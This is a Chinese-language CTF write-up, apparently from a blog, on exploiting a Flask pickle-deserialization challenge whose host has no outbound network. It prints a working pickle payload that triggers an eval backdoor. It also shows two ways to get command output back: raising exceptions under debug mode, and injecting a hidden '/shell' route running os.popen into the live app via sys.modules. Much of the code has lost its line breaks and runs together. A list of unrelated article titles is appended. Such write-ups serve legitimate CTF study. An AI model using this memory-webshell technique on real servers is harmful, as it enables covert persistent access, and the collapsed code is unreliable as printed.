前言

研究这个问题主要是打比赛的时候遇到了,题目内容大概是这样的【查看资料

# app.py
from flask import Flask, request, session, render_template_string, url_for, redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from config import notadminapp = Flask(__name__)class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module in ['config'] and "__" not in name:return getattr(sys.modules[module], name)raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))def restricted_loads(s):"""Helper function analogous to pickle.loads()."""return RestrictedUnpickler(io.BytesIO(s)).load()@app.route('/')
def index():info = request.args.get('name', '')if info is not '':x = base64.b64decode(info)User = restricted_loads(x)return render_template_string('Hello')if __name__ == '__main__':app.run(host='0.0.0.0', debug=True, port=5000)
# config.py
notadmin = {"admin": "no"}def backdoor(cmd):if notadmin["admin"] == "yes":s = ''.join(cmd)eval(s)

可以看出来是个简单的pickle反序列化,这不是本次的重点,重点是这道题在eval后如何回显,最简单的方式想到的是反弹shell,但是经过测试发现目标机器并不出网,所以我们需要寻找其他的方式去让我们的命令回显

debug模式下利用报错

众所周知,在flask中如果开启了debug模式,报错是会显示详细信息的,比赛中debug模式通常考点是构造pin码,但是我们这里想到,可以通过手动控制报错的方式来让我们的命令回显。

简单地构造exp,这里需要注意的是eval并不能执行python语句,所以我们需要利用eval去调用exec来实现手动抛出报错

from base64 import b64encode
from urllib.parse import quotedef base64_encode(s: str, encoding='utf-8') -> str:return b64encode(s.encode()).decode(encoding=encoding)exc = "raise Exception(__import__('os').popen('whoami').read())"
exc = base64_encode(exc).encode()opcode = b'''cconfig
notadmin
(S'admin'
S'yes'
u0(cconfig
backdoor
(S'exec(__import__("base64").b64decode(b"%s"))'
lo.''' % (exc)print(quote(b64encode(opcode).decode()))


可以看到我们成功通过Exception去拿到了回显

失败的尝试: 直接import模块获取app

一开始想到的方法是直接import app.py来获取app,但是事实证明此app非彼app,添加了路由但是并不能访问到,应该是一个全新的app

成功的尝试: sys.modules

sys.modules是一个全局字典,该字典是python启动后就加载在内存中。每当程序员导入新的模块,sys.modules都将记录这些模块。字典sys.modules对于加载模块起到了缓冲的作用。当某个模块第一次导入,字典sys.modules将自动记录该模块。当第二次再导入该模块时,python会直接到字典中查找,从而加快了程序运行的速度。

所以我们可以通过sys.modules拿到当前已经导入的模块,并且获取模块中的属性,由于我们最终的eval是在app.py中执行的,所以我们可以通过sys.modules[‘main’]来获取当前的模块,我们写个简单的测试来看看上面的app与实际的app是否相同

import sys
import app
app1 = sys.modules['__main__'].__dict__['app']
app2 = app.app
print(id(app1))
print(id(app2))


可以看到app的id并不相同,所以他们并非相同的app

这里我们尝试直接添加后门路由,会发现存在报错

import sys
import os
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :os.popen('dir').read())


这个报错是由于我们在第一个请求处理后调用了设置函数(add_url_rule),此报错只会在debug模式下触发,可以参考使用了Flask框架的工具的issue:

  • https://github.com/alexmclarty/mirror/issues/6
  • https://github.com/pallets/flask/issues/2616

所以我们需要在非debug模式下才能成功添加后门路由(又或者我们直接设置debug=False来解决这个问题)

import sys
sys.modules['__main__'].__dict__['app'].debug=False
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())


最后

关注我,持续更新······

私我获取【网络安全学习资料·攻略】

【WEB安全】flask不出网回显方式相关推荐

  1. QML工作笔记-文本输入设置长度以及回显方式(TextInput与TextField通用)

    目录 基本概念 代码及演示 基本概念 这是一个很常用到的功能,特意记录下: 一般输入框会用到2个,一个是TextInput一个是TextField. 因为TextInput加Rectangle如果太长 ...

  2. shiro访问html没有验证码,Shiro在web应用中实现验证码、回显登录失败信息

    目录结构: 概述 扩展shiro认证 验证码工具 验证码servlet 配置文件修改 修改登录页面 测试验证 [一].概述 本文简单讲述在web应用整合shiro后,如何实现登录验证码认证的功能. [ ...

  3. 不出网上线CS的各种姿势

    原文出处:奇安信攻防社区-不出网上线CS的各种姿势 (butian.net) 常见不出网情况下,上线CS的方式,作为一个备忘录. 以下截图在不同时间/环境截取,IP会有些不同 0x01 存在一台中转机 ...

  4. 微信小程序picker组件 - 省市二级联动及其回显

    picker 从底部弹起的滚动选择器,现支持五种选择器,通过mode来区分,分别是普通选择器,多列选择器,时间选择器,日期选择器,省市区选择器,默认是普通选择器. picker官方文档链接 由于项目需 ...

  5. Select2数据回显

    <select class="dggui-select" name="placeOrderUserId" id="placeOrderUserI ...

  6. ueditor1.4.3jsp版成功上传图片后却回显不出来与在线管理显示不出图片的解决方案...

    这是因为路径问题,可以在jsp/config.json这个文件去改路径 通过"imageUrlPrefix"与"imagePathFormat"这两个属性去拼凑 ...

  7. Java Web之SpringMVC 进行数据回显

    基本介绍 数据回显:模型数据导向视图(模型数据 ---> Controller ---> 视图) 说明:SpringMVC在调用方法前会创建一个隐含的模型对象,作为模型数据的存储容器(隐含 ...

  8. ueditor1.4.3jsp版成功上传图片后却回显不出来与在线管理显示不出图片的解决方案

    这是因为路径问题,可以在jsp/config.json这个文件去改路径 通过"imageUrlPrefix"与"imagePathFormat"这两个属性去拼凑 ...

  9. Kindeditor上传本地图片成功后不回显,弹出层也不关闭,解决办法

    一. 只要本地上传,不要网络图片,的方法:把kindeditor一个image.js中 allowImageRemote = K.undef(self.allowImageRemote, true) ...

最新文章

  1. 计算机二级公共基础知识总结百度云,计算机二级公共基础知识总结详细版本[精]...
  2. altium designer 原理图和PCB 多通道设计
  3. 简单记线程安全的集合类
  4. jquery让页面滚动到底部
  5. BitMap-BitSet(JDK1.8)基本使用入门
  6. 递归转手动管理栈的非递归
  7. 机器学习(Machine Learning)深度学习(Deep Learning)较全面的资料
  8. COMSOL电磁仿真案例——感应线圈
  9. ubuntu下播放h264和h265工具vlc的安装使用
  10. python数据分析岗位做什么_Python数据分析--数据分析岗位最新招聘情况
  11. 台式计算机怎么联网,台式电脑怎么联网宽带
  12. [转载]寻 找 石 泉
  13. webuploader上传图片插件案例
  14. Qt弹出标准对话框的方法
  15. 一个汉字包括几个字符,几个字节?一个字母呢?
  16. CUMT-CTF第一次双月赛Writeup
  17. 复数的物理意义是什么?
  18. win10 Delphi7 hlp 另类打开方法,通用性强。
  19. 【愚公系列】2021年12月 攻防世界-进阶题-MISC-063(saleae)
  20. 七日杀服务器修改武器,七日杀物品修改代码大全 七日杀合成表修改教程及代码...

热门文章

  1. CV之YOLOv3:基于Tensorflow框架利用YOLOv3算法对热播新剧《庆余年》实现目标检测
  2. 成功解决OSError: dlopen() failed to load a library: cairo / cairo-2 / cairo-gobject-2 / cairo.so.2
  3. 成功解决 修改pip的默认安装packages包的路径
  4. RL之Q Learning:利用强化学习之Q Learning实现走迷宫—训练智能体走到迷宫(复杂迷宫)的宝藏位置
  5. ML之UliR:利用非线性回归,梯度下降法(迭代十万次)求出学习参数θ,进而求得Cost函数最优值
  6. 新手學python之新體驗
  7. Centos环境下部署游戏服务器-软件安装
  8. 拓展编辑器(五)_监听事件
  9. centos6.7一键装机
  10. day05 Spring中自定义注解的用处-之获取自定义的Servie